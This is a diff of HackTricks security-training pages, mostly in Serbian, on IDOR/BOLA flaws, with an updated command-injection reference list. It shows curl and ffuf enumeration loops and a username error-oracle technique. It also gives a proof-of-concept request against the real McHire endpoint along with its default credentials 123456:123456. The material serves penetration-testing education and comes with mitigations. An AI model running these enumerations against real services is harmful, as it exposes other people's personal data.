@ -154,5 +155,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_inject
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection) - [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html) - [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,23 @@
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API krajnja tačka otkriva ili prihvata identifikator koji korisnik može kontrolisati, a koji se koristi **direktno** za pristup unutrašnjem objektu **bez provere da li je pozivalac ovlašćen** da pristupi/izmeni taj objekat. Uspešna eksploatacija obično omogućava horizontalno ili vertikalno eskaliranje privilegija, kao što su čitanje ili modifikovanje podataka drugih korisnika i, u najgorem slučaju, potpuni preuzimanje naloga ili masovno iskopavanje podataka. IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) se pojavljuje kada web ili API endpoint otkriva ili prihvata identifikator koji korisnik može kontrolisati koji se koristi **direktno** za pristup internom objektu **bez provere da li pozivač ima ovlašćenje** da pristupi/izmeni taj objekat.
Uspešna eksploatacija obično omogućava horizontalnu ili vertikalnu eskalaciju privilegija, kao što je čitanje ili izmena podataka drugih korisnika i, u najgorem slučaju, potpuno preuzimanje naloga ili masovno iznošenje podataka.
--- ---
## 1. Identifikacija potencijalnih IDOR-a ## 1. Identifikacija potencijalnih IDOR-a
1. Tražite **parametre koji se odnose na objekat**: 1. Potražite **parametre koji referenciraju objekat**:
* Putanja: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000` * Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Upit: `?id=42`, `?invoice=2024-00001` * Query: `?id=42`, `?invoice=2024-00001`
* Telo / JSON: `{"user_id": 321, "order_id": 987}` * Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headeri / Kolačići: `X-Client-ID: 4711` * Headers / Cookies: `X-Client-ID: 4711`
2. Preferirajte krajnje tačke koje **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`). 2. Dajte prednost endpointima koji **čitaju ili ažuriraju** podatke (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** ako je vaš ID `64185742`, onda verovatno postoji `64185741`. 3. Obratite pažnju kada su identifikatori **sekvencijalni ili predvidivi** ako je vaš ID `64185742`, verovatno postoji `64185741`.
4. Istražite skrivene ili alternativne tokove (npr. *"Članovi Paradox tima"* link na stranicama za prijavu) koji bi mogli otkriti dodatne API-je. 4. Istražite skrivene ili alternativne tokove (npr. *"Paradox team members"* link na stranicama za prijavu) koji mogu otkriti dodatne API-je.
5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/kolačić**. Odsustvo greške autorizacije obično je znak IDOR-a. 5. Koristite **autentifikovanu sesiju sa niskim privilegijama** i menjajte samo ID **zadržavajući isti token/cookie**. Odsustvo greške autorizacije obično je znak IDOR-a.
### Brzo ručno manipulisanje (Burp Repeater) ### Brzo ručno menjanje (Burp Repeater)
``` ```
PUT /api/lead/cem-xhr HTTP/1.1 PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com Host: www.example.com
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741} {"lead_id":64185741}
``` ```
### Automatizovana enumeracija (Burp Intruder / curl petlja) ### Automatizovana enumeracija (Burp Intruder / curl loop)
```bash ```bash
for id in $(seq 64185742 64185700); do for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,50 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done done
``` ```
--- ---
## 2. Studija slučaja iz stvarnog sveta McHire Chatbot Platforma (2025)
Tokom procene **McHire** portala za zapošljavanje koji koristi Paradox.ai, otkriven je sledeći IDOR: ### Error-response oracle for user/file enumeration
Kada endpoint za preuzimanje prihvata i username i filename (npr. `/view.php?username=<u>&file=<f>`), suptilne razlike u porukama o grešci često stvaraju oracle:
- Nepostojeće korisničko ime → "User not found"
- Loš naziv fajla ali validna ekstenzija → "File does not exist" (ponekad takođe navede dostupne fajlove)
- Pogrešna ekstenzija → greška validacije
Sa bilo kojom autentifikovanom sesijom možete fuzz-ovati parametar username dok koristite bezopasan naziv fajla i filtrirati po stringu "User not found" da biste otkrili važeće korisnike:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Kada se identifikuju važeći korisnički nalozi, direktno zatražite konkretne fajlove (npr. `/view.php?username=amanda&file=privacy.odt`). Ovaj obrazac često dovodi do neautorizovanog otkrivanja dokumenata drugih korisnika i credential leakage.
---
## 2. Studija slučaja iz stvarnog sveta McHire Chatbot Platform (2025)
Tokom procene regrutacione platforme Paradox.ai-pogonjene **McHire** otkriven je sledeći IDOR:
* Endpoint: `PUT /api/lead/cem-xhr` * Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: kolačić sesije korisnika za **bilo** koji test račun restorana * Authorization: user session cookie za **bilo koji** test nalog restorana
* Body parameter: `{"lead_id": N}` 8-cifreni, **sekvencijalni** numerički identifikator * Body parameter: `{"lead_id": N}` 8-cifreni, **sekvencijalni** numerički identifikator
Smanjivanjem `lead_id`, tester je dobio proizvoljne aplikante **pune PII** (ime, e-mail, telefon, adresa, preferencije smene) plus potrošački **JWT** koji je omogućio preuzimanje sesije. Enumeracija opsega `1 64,185,742` otkrila je otprilike **64 miliona** zapisa. Smanjivanjem `lead_id` tester je preuzeo proizvoljne aplikante sa **potpunim PII** (ime, e-mail, telefon, adresa, preferencije smene) plus consumer **JWT** koji je omogućio session hijacking. Enumeracija opsega `1 64,185,742` otkrila je otprilike **64 miliona** zapisa.
Dokaz koncepta zahteva: Proof-of-Concept request:
```bash ```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \ curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \ -H 'Content-Type: application/json' \
-d '{"lead_id":64185741}' -d '{"lead_id":64185741}'
``` ```
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach. Combined with **podrazumevanim administratorskim akreditivima** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
--- ---
## 3. Uticaj IDOR / BOLA ## 3. Uticaj IDOR / BOLA
* Horizontalna eskalacija čitanje/izmena/bršenje **podataka drugih korisnika**. * Horizontalno eskaliranje čitanje/izmenjivanje/brisanje podataka **ostalih korisnika**.
* Vertikalna eskalacija korisnik sa niskim privilegijama dobija funkcionalnosti samo za administratore. * Vertikalno eskaliranje korisnik sa niskim privilegijama dobija funkcionalnosti rezervisane samo za admina.
* Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi aplikanta, fakture). * Masovno curenje podataka ako su identifikatori sekvencijalni (npr. ID-evi kandidata, fakture).
* Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika. * Preuzimanje naloga krađom tokena ili resetovanjem lozinki drugih korisnika.
--- ---
## 4. Mogućnosti smanjenja rizika i najbolje prakse ## 4. Ublažavanje & Najbolje prakse
1. **Sprovodite autorizaciju na nivou objekta** za svaki zahtev (`user_id == session.user`). 1. **Primeni autorizaciju na nivou objekta** na svaki zahtev (`user_id == session.user`).
2. Preferirajte **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto auto-increment ID-eva. 2. Preferiraj **indirektne, nepredvidive identifikatore** (UUIDv4, ULID) umesto auto-increment ID-eva.
3. Sprovodite autorizaciju **na serverskoj strani**, nikada se ne oslanjajte na skrivene forme ili UI kontrole. 3. Izvršavaj autorizaciju na serverskoj strani, nikada se ne oslanjaj na skrivena polja forme ili UI kontrole.
4. Implementirajte **RBAC / ABAC** provere u centralnom middleware-u. 4. Implementiraj provere **RBAC / ABAC** u centralnom middleware-u.
5. Dodajte **ograničenje brzine i logovanje** za otkrivanje enumeracije ID-eva. 5. Dodaj **rate-limiting & logging** kako bi otkrio enumeraciju ID-eva.
6. Bezbednosno testirajte svaki novi endpoint (jedinično, integraciono i DAST). 6. Bezbednosno testiraj svaki novi endpoint (unit, integration, and DAST).
--- ---
## 5. Alati ## 5. Alati
* **BurpSuite ekstenzije**: Authorize, Auto Repeater, Turbo Intruder. * **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse. * **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projekti**: `bwapp-idor-scanner`, `Blindy` (masovno lov na IDOR). * **Github projekti**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Reference ## Reference
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds) * [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) * [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489) * [Kako pronaći više IDOR-a Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → krađa fajlova](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}